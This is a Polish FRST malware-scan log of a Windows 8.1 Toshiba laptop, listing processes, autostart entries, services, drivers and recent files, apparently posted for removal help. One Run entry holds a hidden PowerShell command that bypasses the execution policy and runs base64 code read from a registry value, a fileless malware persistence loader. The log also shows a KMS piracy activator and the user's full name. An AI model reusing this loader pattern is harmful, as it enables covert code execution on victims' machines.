Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x64) Wersja:31-12-2015
Uruchomiony przez Zgórzyński Paweł (administrator)  PAWEŁ (01-01-2016 10:38:18)
Uruchomiony z C:\Users\Zgórzyński Paweł\Desktop
Załadowane profile: Zgórzyński Paweł (Dostępne profile: Zgórzyński Paweł & pikus)
Platform: Windows 8.1 (X64) Język: Polski (Polska)
Internet Explorer Wersja 11 (Domyślna przeglądarka: Chrome)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(Microsoft Corporation) C:\Windows\System32\wlanext.exe
() C:\Program Files (x86)\DTS, Inc\DTS Studio Sound\dts_apo_service.exe
(ESET) C:\Program Files\ESET\ESET Endpoint Security\x86\ekrn.exe
(Intel(R) Corporation) C:\Program Files\Intel\WiFi\bin\EvtEng.exe
(Intel(R) Corporation) C:\Program Files\Intel\iCLS Client\HeciServer.exe
(Intel(R) Corporation) C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe
(TOSHIBA Corporation) C:\Windows\System32\ThpSrv.exe
(TOSHIBA Corporation) C:\Windows\System32\TODDSrv.exe
() C:\Program Files (x86)\TOSHIBA\TOSHIBA System Driver\TOSTABSYSSVC.exe
(Intel® Corporation) C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe
(Toshiba Corporation) C:\Program Files\Toshiba\Teco\TecoService.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Intel Corporation) C:\Windows\System32\igfxtray.exe
(Intel Corporation) C:\Windows\System32\igfxsrvc.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\Hotkey\TCrdMain_Win8.exe
() C:\Program Files\Toshiba\Hotkey\Hotkey\TCrdKBB.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\Teco\TecoResident.exe
(TOSHIBA Corporation) C:\Program Files (x86)\TOSHIBA\System Setting\TssSrv.exe
(TOSHIBA Corporation) C:\Windows\System32\ThpSrv.exe
(ESET) C:\Program Files\ESET\ESET Endpoint Security\egui.exe
(Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\FWService\IntelMeFWService.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\TOSHIBA Service Station\ToshibaServiceStation.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\TOSHIBA Service Station\TMachInfo.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\TPHM\TPCHSrv.exe
(TOSHIBA Corporation) C:\Program Files\Toshiba\TPHM\TPCHWMsg.exe
(Toshiba Europe GmbH) C:\Program Files (x86)\Toshiba TEMPRO\Toshiba.Tempro.UI.CommonNotifier.exe
(Toshiba Europe GmbH) C:\Program Files (x86)\Toshiba TEMPRO\TemproSvc.exe


==================== Rejestr (filtrowane) ===========================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [TosWaitSrv] => C:\Program Files\TOSHIBA\TPHM\TosWaitSrv.exe [354144 2013-08-14] (TOSHIBA Corporation)
HKLM\...\Run: [TCrdMain] => C:\Program Files\TOSHIBA\Hotkey\TCrdMain_Win8.exe [2556768 2013-08-18] (TOSHIBA Corporation)
HKLM\...\Run: [TecoResident] => C:\Program Files\TOSHIBA\Teco\TecoResident.exe [178016 2013-08-21] (TOSHIBA Corporation)
HKLM\...\Run: [TSSSrv] => C:\Program Files (x86)\TOSHIBA\System Setting\TSSSrv.exe [296520 2013-09-12] (TOSHIBA Corporation)
HKLM\...\Run: [ThpSrv] => C:\Windows\system32\thpsrv /logon
HKLM\...\Run: [egui] => C:\Program Files\ESET\ESET Endpoint Security\egui.exe [4133072 2012-07-04] (ESET)
HKLM\...\Run: [BCSSync] => C:\Program Files\Microsoft Office\Office14\BCSSync.exe [108144 2012-11-05] (Microsoft Corporation)
HKLM-x32\...\Run: [TSVU] => c:\Program Files\TOSHIBA\TOSHIBA Smart View Utility\TosSmartViewLauncher.exe [516512 2013-07-23] (TOSHIBA)
HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1021128 2014-12-03] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [596528 2015-11-09] (Oracle Corporation)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\Run: [Google Update] => C:\Users\Zgórzyński Paweł\AppData\Local\Google\Update\GoogleUpdate.exe [144200 2015-06-12] (Google Inc.)
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [8455960 2015-08-20] (Piriform Ltd)
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\Run: [{8F4AED2D-964F-4C60-AEA8-AB9A1BDC261D}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\CuxVR').RasEATnsAEwRGkN)));
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\RunOnce: [Adobe Speed Launcher] => 1451573517
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\MountPoints2: {020c098b-650c-11e5-827c-efd4b81114e7} - "D:\AutoRun.exe" 
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\MountPoints2: {06f79826-5161-11e5-827a-d57ffe0e1603} - "D:\AutoRun.exe" 
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\MountPoints2: {06f79874-5161-11e5-827a-d57ffe0e1603} - "D:\AutoRun.exe" 
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\MountPoints2: {27a488b7-a4a5-11e5-8283-e42f5a6285f3} - "D:\AutoRun.exe" 
HKU\S-1-5-21-481592329-259872215-3533337250-1001\...\MountPoints2: {6c30f7c4-8a37-11e5-8280-0c8bfdc3cff7} - "D:\SETUP.EXE" 

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

ProxyEnable: [S-1-5-21-481592329-259872215-3533337250-1001] => Proxy [funkcja włączona]
ProxyServer: [S-1-5-21-481592329-259872215-3533337250-1001] => 127.0.0.1:8118
Tcpip\Parameters: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{DB3CB369-5B92-4442-8447-C488817CB1EF}: [DhcpNameServer] 40.41.1.201 40.41.1.202
Tcpip\..\Interfaces\{F253CD36-D935-4F59-AFA4-B0B4941C0C5C}: [DhcpNameServer] 192.168.0.1

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKU\S-1-5-21-481592329-259872215-3533337250-1001\Software\Microsoft\Internet Explorer\Main,Secondary Start Pages = hxxp://toshiba.eu/symbaloo_c
HKU\S-1-5-21-481592329-259872215-3533337250-1001\Software\Microsoft\Internet Explorer\Main,Default_Secondary_Page_URL = hxxp://toshiba.eu/symbaloo_c
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2013-03-06] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\ssv.dll [2015-12-02] (Oracle Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2013-03-06] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\jp2ssv.dll [2015-12-02] (Oracle Corporation)

FireFox:
========
FF ProfilePath: C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\Firefox\Profiles\q3gya4ch.default-1448389903832
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_20_0_0_267.dll [2015-12-29] ()
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll [2014-05-13] ( Microsoft Corporation)
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_20_0_0_267.dll [2015-12-29] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1216156.dll [2015-01-09] (Adobe Systems, Inc.)
FF Plugin-x32: @Google.com/GoogleEarthPlugin -> C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll [2015-05-20] (Google)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI ipt;version=4.0.5 -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIIPT.dll [2013-09-03] (Intel Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI updater -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIUpdater.dll [2013-09-03] (Intel Corporation)
FF Plugin-x32: @java.com/DTPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\dtplugin\npDeployJava1.dll [2015-12-02] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\plugin2\npjp2.dll [2015-12-02] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll [2014-05-13] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)
FF Plugin HKU\S-1-5-21-481592329-259872215-3533337250-1001: @talk.google.com/GoogleTalkPlugin -> C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\plugins\npgoogletalk.dll [2015-12-08] (Google)
FF Plugin HKU\S-1-5-21-481592329-259872215-3533337250-1001: @talk.google.com/O1DPlugin -> C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\plugins\npo1d.dll [2015-12-08] (Google)
FF Plugin HKU\S-1-5-21-481592329-259872215-3533337250-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Zgórzyński Paweł\AppData\Local\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-03] (Google Inc.)
FF Plugin HKU\S-1-5-21-481592329-259872215-3533337250-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Zgórzyński Paweł\AppData\Local\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-03] (Google Inc.)
FF Plugin ProgramFiles/Appdata: C:\Users\Zgórzyński Paweł\AppData\Roaming\mozilla\plugins\npgoogletalk.dll [2015-12-08] (Google)
FF Plugin ProgramFiles/Appdata: C:\Users\Zgórzyński Paweł\AppData\Roaming\mozilla\plugins\npo1d.dll [2015-12-08] (Google)
FF Extension: Eliminator Slajdów - C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\Firefox\Profiles\q3gya4ch.default-1448389903832\Extensions\jid0-GaZOxvWNYcafEsmayJDIG3XXVi8@jetpack.xpi [2015-11-25]
FF Extension: Video DownloadHelper - C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\Firefox\Profiles\q3gya4ch.default-1448389903832\Extensions\{b9db16a4-6edc-47ec-a1f4-b86292ed211d}.xpi [2015-12-03]
FF Extension: Adblock Plus - C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla\Firefox\Profiles\q3gya4ch.default-1448389903832\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2015-12-15]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET Endpoint Security\Mozilla Thunderbird
FF Extension: ESET Endpoint Security Extension - C:\Program Files\ESET\ESET Endpoint Security\Mozilla Thunderbird [2015-01-30] [Brak podpisu cyfrowego]
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET Endpoint Security\Mozilla Thunderbird

Chrome: 
=======
CHR Profile: C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Prezentacje Google) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-12-02]
CHR Extension: (Dokumenty Google) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-12-02]
CHR Extension: (Dysk Google) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-12-02]
CHR Extension: (YouTube) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-12-02]
CHR Extension: (Google Search) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-12-02]
CHR Extension: (Arkusze Google) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-12-02]
CHR Extension: (Dokumenty Google offline) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-12-02]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-12-02]
CHR Extension: (Gmail) - C:\Users\Zgórzyński Paweł\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-12-02]

==================== Usługi (filtrowane) ========================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 dts_apo_service; C:\Program Files (x86)\DTS, Inc\DTS Studio Sound\dts_apo_service.exe [19792 2013-09-10] ()
S3 EhttpSrv; C:\Program Files\ESET\ESET Endpoint Security\EHttpSrv.exe [35720 2012-07-04] (ESET)
R2 ekrn; C:\Program Files\ESET\ESET Endpoint Security\x86\ekrn.exe [999704 2012-07-04] (ESET)
S3 ESHASRV; C:\Program Files\ESET\ESET Endpoint Security\EShaSrv.exe [190208 2012-07-04] (ESET)
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-03] (Macrovision Corporation) [Brak podpisu cyfrowego]
R2 Intel(R) Capability Licensing Service Interface; C:\Program Files\Intel\iCLS Client\HeciServer.exe [733696 2013-05-12] (Intel(R) Corporation) [Brak podpisu cyfrowego]
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [822232 2013-05-12] (Intel(R) Corporation)
R2 Intel(R) ME Service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\FWService\IntelMeFWService.exe [131544 2013-09-03] (Intel Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [169432 2013-09-03] (Intel Corporation)
S3 MyWiFiDHCPDNS; C:\Program Files\Intel\WiFi\bin\PanDhcpDns.exe [284912 2013-07-29] ()
R3 TemproMonitoringService; C:\Program Files (x86)\Toshiba TEMPRO\TemproSvc.exe [120392 2015-11-17] (Toshiba Europe GmbH)
R2 TOSTABSYSSVC; C:\Program Files (x86)\TOSHIBA\TOSHIBA System Driver\TOSTABSYSSVC.exe [32632 2013-08-04] ()
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [368632 2014-09-22] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [23792 2014-09-22] (Microsoft Corporation)
R2 ZeroConfigService; C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe [3668208 2013-07-29] (Intel® Corporation)

===================== Sterowniki (filtrowane) ==========================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

S1 13fd3; C:\Windows\system32\drivers\13fd3.sys [95696 2015-07-31] () [Brak podpisu cyfrowego]
S3 anvsnddrv; C:\Windows\system32\drivers\anvsnddrv.sys [33872 2012-05-17] (AnvSoft Inc.)
S3 AX88179; C:\Windows\system32\DRIVERS\ax88179_178a.sys [66560 2013-08-13] (ASIX Electronics Corp.)
S3 CH341SER_A64; C:\Windows\System32\Drivers\CH341S64.SYS [58368 2011-11-04] (www.winchiphead.com)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2015-11-14] (Disc Soft Ltd)
R1 eamonm; C:\Windows\System32\DRIVERS\eamonm.sys [213416 2012-07-10] (ESET)
S0 ebdrv; C:\Windows\System32\drivers\evbda.sys [3357024 2013-08-22] (Broadcom Corporation)
R0 edevmon; C:\Windows\System32\DRIVERS\edevmon.sys [179920 2012-07-10] (ESET)
R1 ehdrv; C:\Windows\system32\DRIVERS\ehdrv.sys [152136 2012-03-29] (ESET)
R2 epfw; C:\Windows\system32\DRIVERS\epfw.sys [194848 2012-03-29] (ESET)
R1 EpfwLWF; C:\Windows\system32\DRIVERS\EpfwLWF.sys [38288 2012-03-29] (ESET)
R0 epfwwfp; C:\Windows\System32\DRIVERS\epfwwfp.sys [63008 2012-03-29] (ESET)
R3 ibtusb; C:\Windows\system32\DRIVERS\ibtusb.sys [117192 2013-08-29] (Intel Corporation)
R3 MEIx64; C:\Windows\system32\DRIVERS\TeeDriverx64.sys [99288 2013-09-03] (Intel Corporation)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3589600 2013-09-25] (Intel Corporation)
S3 NETwNe64; C:\Windows\system32\DRIVERS\NETwew02.sys [4649440 2013-06-18] (Intel Corporation)
R3 SensorsServiceDriver; C:\Windows\system32\DRIVERS\WUDFRd.sys [227840 2014-05-31] (Microsoft Corporation)
S3 Ser2pl; C:\Windows\system32\DRIVERS\ser2pl64.sys [92160 2008-09-24] (Prolific Technology Inc.) [Brak podpisu cyfrowego]
R3 SmbDrvI; C:\Windows\system32\DRIVERS\Smb_driver_Intel.sys [34544 2013-08-22] (Synaptics Incorporated)
R3 Thotkey; C:\Windows\System32\drivers\Thotkey.sys [32624 2013-08-19] (Windows (R) Win 7 DDK provider)
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [35320 2014-09-22] (Microsoft Corporation)
S3 WdFilter; C:\Windows\system32\drivers\WdFilter.sys [258368 2014-09-22] (Microsoft Corporation)
S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [114496 2014-09-22] (Microsoft Corporation)

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-01-01 10:38 - 2016-01-01 10:39 - 00019737 _____ C:\Users\Zgórzyński Paweł\Desktop\FRST.txt
2015-12-31 23:22 - 2015-12-31 23:22 - 00000000 _____ C:\Recovery.txt
2015-12-31 15:52 - 2015-12-31 15:52 - 00248752 _____ C:\Users\Zgórzyński Paweł\Desktop\Firefox Setup Stub 43.0.3.exe
2015-12-31 14:33 - 2016-01-01 10:38 - 00000000 ____D C:\FRST
2015-12-31 14:30 - 2015-12-31 14:30 - 00380416 _____ C:\Users\Zgórzyński Paweł\Desktop\6r7vsmyo.exe
2015-12-31 14:29 - 2015-12-31 14:29 - 02370560 _____ (Farbar) C:\Users\Zgórzyński Paweł\Desktop\FRST64.exe
2015-12-31 13:56 - 2015-12-31 13:56 - 00026445 _____ C:\Users\Zgórzyński Paweł\Desktop\bookmarks.html
2015-12-31 13:56 - 2015-12-31 13:56 - 00000000 ____D C:\Program Files (x86)\Toshiba TEMPRO
2015-12-31 13:35 - 2015-12-31 13:35 - 00001190 _____ C:\Users\Zgórzy
2015-12-31 11:35 - 2015-12-31 11:36 - 00077824 ____N C:\Windows\KMSEmulator.exe
2015-12-30 18:00 - 2015-12-31 13:45 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\LocalLow\uTorrent
2015-12-29 12:13 - 2015-12-31 15:53 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2015-12-28 15:49 - 2015-12-28 15:53 - 00000000 ____D C:\Ross-Tech
2015-12-28 15:49 - 2015-12-28 15:49 - 00000774 _____ C:\Users\pikus\Desktop\VCDS-Lite.lnk
2015-12-26 23:11 - 2015-12-27 17:38 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\wysłane
2015-12-20 13:16 - 2015-12-20 14:10 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\do wywołania
2015-12-19 10:15 - 2015-12-29 22:24 - 00000000 ____D C:\Windows\Minidump
2015-12-17 12:21 - 2015-12-29 14:37 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\literatura
2015-12-17 11:06 - 2015-12-17 11:06 - 00002252 _____ C:\Users\pikus\Desktop\Google Chrome.lnk
2015-12-17 11:06 - 2015-12-17 11:06 - 00000000 ____D C:\Users\pikus\AppData\Local\Google
2015-12-13 16:29 - 2015-12-13 16:29 - 00000283 _____ C:\Users\Zgórzyński Paweł\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Kosz.lnk
2015-12-11 21:40 - 2015-12-11 21:40 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Local\PDFCreator
2015-12-11 20:37 - 2015-12-11 20:37 - 00000000 __SHD C:\Users\Zgórzyński Paweł\AppData\LocalLow\EmieUserList
2015-12-11 20:37 - 2015-12-11 20:37 - 00000000 __SHD C:\Users\Zgórzyński Paweł\AppData\LocalLow\EmieSiteList
2015-12-11 20:37 - 2015-12-11 20:37 - 00000000 __SHD C:\Users\Zgórzyński Paweł\AppData\LocalLow\EmieBrowserModeList
2015-12-11 16:29 - 2015-12-11 16:29 - 01458400 _____ C:\Users\Zgórzyński Paweł\Desktop\MP_PL_SURVEY_BANKING_AND_FINANCIAL_SERVICES_WEB_13012014.pdf
2015-12-08 13:31 - 2015-12-16 20:34 - 00063488 _____ C:\Users\Zgórzyński Paweł\Desktop\dieta.xls
2015-12-02 23:59 - 2015-12-27 17:06 - 00000000 ____D C:\Users\Zgórzyński Paweł\Documents\WrC
2015-12-02 23:31 - 2015-12-02 23:32 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\WAC
2015-12-02 21:34 - 2015-12-02 21:34 - 00001034 _____ C:\Users\Zgórzyński Paweł\Desktop\DAKAR ELEKS.lnk
2015-12-02 21:33 - 2015-12-02 21:33 - 00000000 ____D C:\Program Files (x86)\DAKAR
2015-12-02 12:32 - 2015-12-02 12:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
2015-12-02 12:26 - 2015-12-02 12:24 - 00278624 _____ (Oracle Corporation) C:\Windows\SysWOW64\javaws.exe
2015-12-02 12:25 - 2015-12-02 12:25 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Roaming\Sun
2015-12-02 12:25 - 2015-12-02 12:25 - 00000000 ____D C:\Users\Zgórzyński Paweł\.oracle_jre_usage
2015-12-02 12:23 - 2015-12-02 12:23 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\LocalLow\Oracle

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-01-01 10:38 - 2015-09-21 17:06 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Roaming\uTorrent
2016-01-01 10:37 - 2013-08-22 14:36 - 00000000 ____D C:\Windows
2016-01-01 10:36 - 2015-10-23 17:18 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\jaja
2016-01-01 00:26 - 2015-01-29 23:15 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-481592329-259872215-3533337250-1001
2015-12-31 15:51 - 2015-07-02 21:37 - 00001064 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2015-12-31 15:50 - 2013-08-22 15:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2015-12-31 14:46 - 2015-06-12 20:19 - 00001114 _____ C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-481592329-259872215-3533337250-1001UA.job
2015-12-31 14:20 - 2013-08-22 14:25 - 00524288 ___SH C:\Windows\system32\config\BBI
2015-12-31 14:12 - 2015-01-30 08:27 - 00000930 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-12-31 14:06 - 2015-07-02 21:37 - 00001068 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2015-12-31 13:59 - 2015-01-30 08:25 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2015-12-31 13:56 - 2013-11-12 22:07 - 00000000 ____D C:\Windows\System32\Tasks\TOSHIBA
2015-12-31 13:44 - 2013-08-22 14:36 - 00000000 ____D C:\Windows\Inf
2015-12-31 13:39 - 2015-07-02 21:37 - 00000000 ____D C:\Program Files (x86)\Google
2015-12-31 13:37 - 2015-09-22 11:33 - 00000000 ____D C:\AdwCleaner
2015-12-31 00:09 - 2015-11-07 21:27 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\inżynierka
2015-12-30 23:46 - 2015-06-12 20:19 - 00001062 _____ C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-481592329-259872215-3533337250-1001Core.job
2015-12-29 22:24 - 2013-08-22 16:36 - 00000000 ____D C:\Windows\ModemLogs
2015-12-29 13:12 - 2015-01-30 08:27 - 00003818 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2015-12-27 12:28 - 2013-10-14 16:56 - 02745464 _____ C:\Windows\system32\PerfStringBackup.INI
2015-12-27 12:28 - 2013-08-28 15:28 - 00807160 _____ C:\Windows\system32\perfh015.dat
2015-12-27 12:28 - 2013-08-28 15:28 - 00163478 _____ C:\Windows\system32\perfc015.dat
2015-12-27 12:28 - 2013-08-28 15:19 - 00742562 _____ C:\Windows\system32\perfh00E.dat
2015-12-27 12:28 - 2013-08-28 15:19 - 00177650 _____ C:\Windows\system32\perfc00E.dat
